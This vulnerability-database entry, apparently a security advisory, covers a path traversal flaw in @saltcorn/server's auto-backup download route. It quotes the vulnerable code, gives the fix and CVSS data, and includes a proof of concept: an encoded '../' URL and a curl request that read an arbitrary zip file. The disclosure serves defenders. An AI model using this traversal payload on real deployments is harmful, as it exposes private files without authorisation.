Vulnerability Database

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Total vulnerabilities in the database

@saltcorn/server arbitrary file zip read and download when downloading auto backups — @saltcorn / server

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

A user with admin permission can read and download arbitrary zip files when downloading auto backups. The file name used to identify the zip file is not properly sanitized when passed to res.download API.

Details

  • file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.13/packages/server/routes/admin.js#L671-L682
router.get( "/auto-backup-download/:filename", isAdmin, error_catcher(async (req, res) => { const { filename } = req.params; // [1] source [...] if ( !isRoot || !(filename.startsWith(backup_file_prefix) && filename.endsWith(".zip")) // [2] ) { res.redirect("/admin/backup"); return; } const auto_backup_directory = getState().getConfig("auto_backup_directory"); res.download(path.join(auto_backup_directory, filename), filename); // [3] sink }) );

Steps to reproduce (PoC)

  • create a file with .zip extension under /tmp folder:
echo "secret12345" > /tmp/secret.zip
  • log into the application as an admin user
  • visit the url http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip
  • download the zip file and then check if the zip was indeed downloaded:
cat secret.zip secret12345
  • Alternatively send the following request to retrieve the file just created.
curl -i -X $'GET' \ -H $'Host: localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE' \ $'http://localhost:3000/admin/auto-backup-download/sc-backup-%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2fsecret.zip'

NOTE: To obtain a valid connect.sid cookie, just open the developer console while logged and retrieve the cookie value.

Impact

Arbitrary zip files download (information disclosure).

Resolve the filename parameter before checking if it starts with backup_file_prefix .

  • Published: Oct 3, 2024
  • Updated: Jun 5, 2026
  • GHSA: GHSA-277h-px4m-62q8
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Low
  • Score: 4.4
  • AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N

Frequently Asked Questions

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